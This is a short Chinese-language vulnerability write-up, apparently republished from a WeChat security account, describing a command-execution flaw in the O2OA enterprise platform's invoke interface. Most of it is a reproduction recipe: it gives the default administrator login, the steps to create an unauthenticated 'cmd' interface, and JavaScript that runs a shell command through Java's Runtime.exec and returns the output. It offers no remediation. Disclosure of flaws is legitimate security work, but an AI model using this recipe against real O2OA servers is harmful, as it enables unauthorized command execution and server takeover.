O2OA系统 invoke接口命令执行漏洞

    文章声明

一、漏洞描述

O2OA 是一款 Java 开源企业信息化建设平台，包括流程管理、门户管理、信息管理、数据管理和服务管理五大平台，可以极大程度上减化企业信息化建设成本和业务应用开发难度。O2OA 系统后台的invoke接口存在命令执行漏洞，攻击者通过该漏洞可以获取服务器权限。

二、漏洞复现

系统地址及其首页显示如下

http://xx.xx.xx/x_desktop/index.html

输入默认账户密码登录系统  xadmin/o2，后台显示如下

点击左上角的logo图标，选择进入服务管理

在服务管理的接口配置中选择cmd接口

复制如下执行 whoami 命令的代码，并选择启用鉴权为否

var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()));var result = [];while (true) {  var oneline = bufReader.readLine();  result.push(oneline);  if (!oneline) break;}var result = { "Result": result };this.response.setBody(result, "application/json");

保存后点击运行即可得到命令执行的回显，结果如下

原文始发于微信公众号（守卫者安全）：O2OA系统 invoke接口命令执行漏洞